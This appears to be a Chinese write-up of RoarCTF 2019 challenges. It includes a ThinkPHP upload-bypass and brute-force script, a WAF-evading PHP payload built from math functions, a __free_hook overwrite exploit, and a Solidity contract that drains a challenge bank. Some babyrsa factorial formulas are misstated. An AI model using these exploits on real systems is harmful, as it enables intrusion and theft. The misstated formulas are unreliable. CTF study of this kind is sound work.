楼上请让路 RoarCTF2019 Writeup
1571137836097.png
文件尾部有一段base64，解码为16进制可以看到是一个压缩包
打开压缩包需要密码
使用pr抽帧
可以看到部分帧中有二维码，依次扫码即可得到key iwantplayctf
forensic
直接上volatility
建议profile，直接用Win7SP1x86就可以。
查看进程
volatility -f mem.raw pslist --profile=Win7SP1x86
可以看到存在以下几个值得注意的进程：
Dumpit.exe 一款内存镜像提取工具。
TrueCrypt.exe 一款磁盘加密工具。
Notepad.exe windows自带的记事本。
Mspaint,exe windows自带画图工具。
通过查看userassist可以发现notepad mspaint 在提取内存时在内存中并没有数据。查看用户Home目录的文件，可以发现有一个用户保存的图片文件
volatility -f mem.raw --profile=Win7SP1x86 filescan|grep -v Temporary |grep -v .dll|grep -E 'png|jpg|gif|zip|rar|7z|pdf'
把图片dump下来
通过查看桌面文件还可以发现dumpit.exe在桌面上，而dumpit.exe默认生成的文件是 {hash}.raw，默认保存路径是dumpit.exe所在的路径。
尝试dump 位于0x000000001fca1130位置的raw镜像，发现该文件还没有数据，因此判断取证的时候dumpit.exe还在运行中，dump下来dumpit.exe的内存镜像。
对dumpit.exe的内存镜像进行分析
猜测密码就是刚那张图片上的扭曲文字
不得不说，有几个位置很难辨认，比如第一个字符是数字1还是字母l还是字母I,那些大小写长得一样的是大写还是小写，中间那个是y还是g。直接上掩码爆破
ThankGame
用dnspy反编译，关键代码：
public static void WinGame()
{
if (!winGame && ((nDestroyNum == 4) || (nDestroyNum == 5)))
{
string str = "clearlove9";
for (int i = 0; i < 0x15; i++)
{
for (int j = 0; j < 0x11; j++)
{
str = str + MapState[i, j].ToString();
}
}
if (Sha1(str) == "3F649F708AAFA7A0A94138DC3022F6EA611E8D01")
{
FlagText._instance.gameObject.SetActive(true);
FlagText.str = "RoarCTF{wm-" + Md5(str) + "}";
winGame = true;
}
}
}
public static string Md5(string str)
{
byte[] bytes = Encoding.UTF8.GetBytes(str);
byte[] buffer2 = MD5.Create().ComputeHash(bytes);
StringBuilder builder = new StringBuilder();
foreach (byte num in buffer2)
{
builder.Append(num.ToString("X2"));
}
return builder.ToString().Substring(0, 10);
}
private void OnTriggerEnter2D(Collider2D collision)
{
int x = (int) collision.gameObject.transform.position.x;
int y = (int) collision.gameObject.transform.position.y;
switch (collision.tag)
{
case "Tank":
if (!this.isPlayerBullect)
{
collision.SendMessage("Die");
UnityEngine.Object.Destroy(base.gameObject);
}
break;
case "Heart":
MapManager.MapState[x + 10, y + 8] = 9;
MapManager.nDestroyNum++;
collision.SendMessage("Die");
UnityEngine.Object.Destroy(base.gameObject);
break;
case "Enemy":
if (this.isPlayerBullect)
{
collision.SendMessage("Die");
UnityEngine.Object.Destroy(base.gameObject);
}
break;
case "Wall":
MapManager.MapState[x + 10, y + 8] = 8;
MapManager.nDestroyNum++;
UnityEngine.Object.Destroy(collision.gameObject);
UnityEngine.Object.Destroy(base.gameObject);
break;
case "Barrier":
if (this.isPlayerBullect)
{
collision.SendMessage("PlayAudio");
}
UnityEngine.Object.Destroy(base.gameObject);
break;
}
}
墙1替换成8，老家0替换成9，66个变量，4或5个位置需要变，首先爆破66 * 65 * 64 * 63，爆破出来了，计算md5得到前10字节，得到flag，细节如图：
simple_upload
maxSize = 4096 ;// 设置附件上传大小
$upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
$upload->rootPath = './Public/Uploads/';// 设置附件上传目录
$upload->savePath = '';// 设置附件上传子目录
$info = $upload->upload() ;
if(!$info) {// 上传错误提示错误信息
$this->error($upload->getError());
return;
}else{// 上传成功 获取上传文件信息
$url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
echo json_encode(array("url"=>$url,"success"=>1));
}
}
}
ThinkPHP默认上传文件名是递增的。 代码中ThinkPHP的后缀过滤无效，所以通过上传多个文件的方式，绕过.php后缀的判断，但是这样拿不到上传的文件名，需要爆破。 具体的步骤为：
1.写脚本上传一个正常文件，再上传多个文件，再上传一个正常文件。获取到第一三次上传的文件名。
import requests
url = "http://lo408dybroarctf.4hou.com.cn:34422/index.php/Home/Index/upload"
files1 = {'file': open('ma.txt','r')}
files2 = {'file[]': open('ma.php','r')}
r = requests.post(url,files=files1)
print(r.text)
r = requests.post(url,files=files2)
print(r.text)
r = requests.post(url,files=files1)
print(r.text)
2.多线程爆破一下第一三文件名之间的所有文件名。
这是最开始写的单线程爆破的脚本，后来觉得太累了，就拿开源扫描器dirfuzz改了一个多线程的版本。最终多线程爆破成功。
import requests
#{"url":"\/Public\/Uploads\/2019-10-12\/5da1b52bb3645.txt","success":1}
#{"url":"\/Public\/Uploads\/","success":1}
#{"url":"\/Public\/Uploads\/2019-10-12\/5da1b52bd6f0a.txt","success":1}
s = "1234567890abcdef"
for i in s:
for j in s:
for k in s:
for l in s:
url = "http://lo408dybroarctf.4hou.com.cn:34422/Public/Uploads/2019-10-12/5da1b52bc%s%s%s%s.php"%(i,j,k,l)
r = requests.get(url)
# print(url)
if r.status_code != 404:
print(url)
break
#[+]{"url": "http://lo408dybroarctf.4hou.com.cn:34422/Public/Uploads/2019-10-12/5da1b52bc7471.php", "status_code": 200, "data": "RoarCTF{wm-22522494528d3de9}\n"}
爆破到php文件，就可以直接读到flag。估计主办方有个脚本在后台一直跑改php文件。
easy_calc
这题首先进去发现是一个计算器的题目。
这道题是国赛的love_math的修改版，除去了长度限制，payload中不能包含' ', '\t', '\r', '\n',''', '"', '`', '[', ']' 等字符，不同的是网站加了waf，需要绕过waf。首先需要绕过waf，测试发现当我们提交一些字符时，会直接403，经测试发现存在服务器存在http走私漏洞，可以用来绕waf，详情见：https://paper.seebug.org/1048/
因为禁掉了一些字符，所以导致我们不能直接getflag，继续分析payload构造
这里用到几个php几个数学函数。
我们首先要构造列目录的payload，肯定要使用scandir函数，尝试构造列举根目录下的文件。scandir可以用base_convert函数构造，但是利用base_convert只能解决a~z的利用，因为根目录需要/符号，且不在a~z,所以需要hex2bin(dechex(47))这种构造方式，dechex() 函数把十进制数转换为十六进制数。hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符。
构造读取flag，使用readfile函数，paload：base_convert(2146934604002,10,36)(hex2bin(dechex(47)).base_convert(25254448,10,36))，方法类似
easy_java
这道进去首先想到的就是任意文件下载，但是刚开始用GET方式一直什么都下载不了，连网站确定目录的图片都下不了。后来修改为post，可以了。。。
尝试读取WEB-INF/web.xml发现操作flag的关键文件位置
将图中base64解码即flag。
polyre
使用 deflat.py 脱去控制流平坦化，加密算法大致是：输入 48，平分 6 组，将每组 8 字节转化为 long 类型的值，对每组进行加密，先判断正负，然后将值乘 2，随后根据正负异或 0xB0004B7679FA26B3，循环 64 次，最后进行比较；按照这个逻辑写逆运算就可以了，逆运算见 depoly.py
origin = [0xbc8ff26d43536296,
0x520100780530ee16,
0x4dc0b5ea935f08ec,
0x342b90afd853f450,
0x8b250ebcaa2c3681,
0x55759f81a2c68ae4]
key = 0xB0004B7679FA26B3
data = ""
for value in origin:
for i in range(0, 64):
tail = value & 1
if tail == 1:
value = value ^ key
value = value // 2
if tail == 1:
value = value | 0x8000000000000000
#print(hex(value))
# end for
print(hex(value))
j = 0
while (j < 8):
data += chr(value & 0xFF)
value = value >> 8
j += 1
# end while
#end for
print(data)
ez_op
payload:
#!/usr/bin/env python3
# -*- coding=utf-8 -*-
from pwn import *
system_addr = 0x08051C60
hook_free = 0x080E09F0
# opcdoe
opcode = ""
# get stack_addr
opcode += """\
push 5
stack_load\
"""
# sub hook_free
opcode += f"""\
push {hook_free}
sub\
"""
# value / 4 + 1
opcode += """\
push 4
div
push 1
add\
"""
# *hook_free = system_addr
opcode += f"""\
push {system_addr}
stack_set\
"""
opcode = f"""\
push {0x6e69622f}
push {0x68732f}
push {system_addr}
push 1
push 4
push 64
stack_load
push {hook_free}
sub
div
sub
stack_set\
"""
OPCODET = {
"push": 0x2a3d,
"add": 0,
"sub": 0x11111,
"div": 0x514,
"stack_set": 0x10101010,
"stack_load": -1
}
opcode_list = opcode.split("\n")
op_result = []
num_result = []
for op in opcode_list:
tmp = op.split(" ")
assert tmp[0] in OPCODET
op_result.append(str(OPCODET[tmp[0]]))
if len(tmp) == 2:
num_result.append(str(tmp[1]))
result_op = " ".join(op_result)
result_num = " ".join(num_result)
print(result_op)
print(result_num)
babyrsa
一个数学结论：对于一个素数p来说，（p-1）的阶乘加上（p-2）的阶乘等于p乘以（p-2）的阶乘,能被p整除,（p-1）的阶乘除以p余p-1（因为p的阶乘能被p整除）就是:
(p-1)!+(p-2)!=p*(p-2)
(p-1)!=p*(p-1)
(p-2)! % p=1
解密脚本如下：
import sympy
from Crypto.Util.number import long_to_bytes
def egcd(a,b):
if a==0:
return (b,0,1)
else:
g,y,x=egcd(b%a,a)
return (g,x-(b//a)*y,y)
def modinv(a,m):
g,x,y=egcd(a,m)
if g!=1:
raise Exception(" error")
else:
return x%m
a1=21856963452461630437348278434191434000066076750419027493852463513469865262064340836613831066602300959772632397773487317560339056658299954464169264467234407
b1=21856963452461630437348278434191434000066076750419027493852463513469865262064340836613831066602300959772632397773487317560339056658299954464169264467140596
a2=16466113115839228119767887899308820025749260933863446888224167169857612178664139545726340867406790754560227516013796269941438076818194617030304851858418927
b2=16466113115839228119767887899308820025749260933863446888224167169857612178664139545726340867406790754560227516013796269941438076818194617030304851858351026
n=85492663786275292159831603391083876175149354309327673008716627650718160585639723100793347534649628330416631255660901307533909900431413447524262332232659153047067908693481947121069070451562822417357656432171870951184673132554213690123308042697361969986360375060954702920656364144154145812838558365334172935931441424096270206140691814662318562696925767991937369782627908408239087358033165410020690152067715711112732252038588432896758405898709010342467882264362733
c=75700883021669577739329316795450706204502635802310731477156998834710820770245219468703245302009998932067080383977560299708060476222089630209972629755965140317526034680452483360917378812244365884527186056341888615564335560765053550155758362271622330017433403027261127561225585912484777829588501213961110690451987625502701331485141639684356427316905122995759825241133872734362716041819819948645662803292418802204430874521342108413623635150475963121220095236776428
p=1
q=1
i=1
l=0
for i in range(b1+1,a1-1):
p *= modinv(i,a1)
p %=a1
p=sympy.nextprime(p)
print "p="
print p
for i in range(b2+1,a2-1):
q *=modinv(i,a2)
q %=a2
q=sympy.nextprime(q)
print "q="
print q
r=n/q/p
print "r="
print r
fn=(p-1)*(q-1)*(r-1)
print "fn="
print fn
e=4097
d=modinv(e,fn)
print "d="
print d
m=pow(c,d,n)
print "m="
print m
print long_to_bytes(m)
区块链1
做题的时候发现已经有人做出来了，然后去看做出来人的交易记录，发现是薅羊毛，通过逆向做出来人的记录，照抄了一个，payload合约如下：
/**
*Submitted for verification at Etherscan.io on 2019-10-08
*/
pragma solidity ^0.4.24;
contract P_Bank
{
mapping (address => uint) public balances;
uint public MinDeposit = 0.1 ether;
Log TransferLog;
event FLAG(string b64email, string slogan);
constructor(address _log) public {
TransferLog = Log(_log);
}
function Ap() public {
if(balances[msg.sender] == 0) {
balances[msg.sender]+=1 ether;
}
}
function Transfer(address to, uint val) public {
if(val > balances[msg.sender]) {
revert();
}
balances[to]+=val;
balances[msg.sender]-=val;
}
function CaptureTheFlag(string b64email) public returns(bool){
require (balances[msg.sender] > 500 ether);
emit FLAG(b64email, "Congratulations to capture the flag!");
}
function Deposit()
public
payable
{
if(msg.value > MinDeposit)
{
balances[msg.sender]+= msg.value;
TransferLog.AddMessage(msg.sender,msg.value,"Deposit");
}
}
function CashOut(uint _am) public
{
if(_am<=balances[msg.sender])
{
if(msg.sender.call.value(_am)())
{
balances[msg.sender]-=_am;
TransferLog.AddMessage(msg.sender,_am,"CashOut");
}
}
}
function() public payable{}
}
contract Log
{
struct Message
{
address Sender;
string Data;
uint Val;
uint Time;
}
string err = "CashOut";
Message[] public History;
Message LastMsg;
function AddMessage(address _adr,uint _val,string _data)
public
{
LastMsg.Sender = _adr;
LastMsg.Time = now;
LastMsg.Val = _val;
LastMsg.Data = _data;
History.push(LastMsg);
}
}
contract FatherOwned {
address owner;
modifier onlyOwner{ if (msg.sender != owner) revert(); _; }
}
contract Attack
{
address owner;
P_Bank target;
constructor(address my) public {
owner = my;
target = P_Bank(0xF60ADeF7812214eBC746309ccb590A5dBd70fc21);
target.Ap();
target.Transfer(owner, 1 ether);
selfdestruct(owner);
}
}
contract Deploy is FatherOwned
{
constructor() public {
owner = msg.sender;
}
function getflag() public onlyOwner {
P_Bank target;
target = P_Bank(0xF60ADeF7812214eBC746309ccb590A5dBd70fc21);
target.CaptureTheFlag("baiyjrh@gmail.com");
}
function ffhhhhhhtest1() public onlyOwner {
uint i;
for (i=0; i<10; i++){
new Attack(owner);
}
}
function ffhhhhhhtest2() public onlyOwner {
uint i;
for (i=0; i<30; i++){
new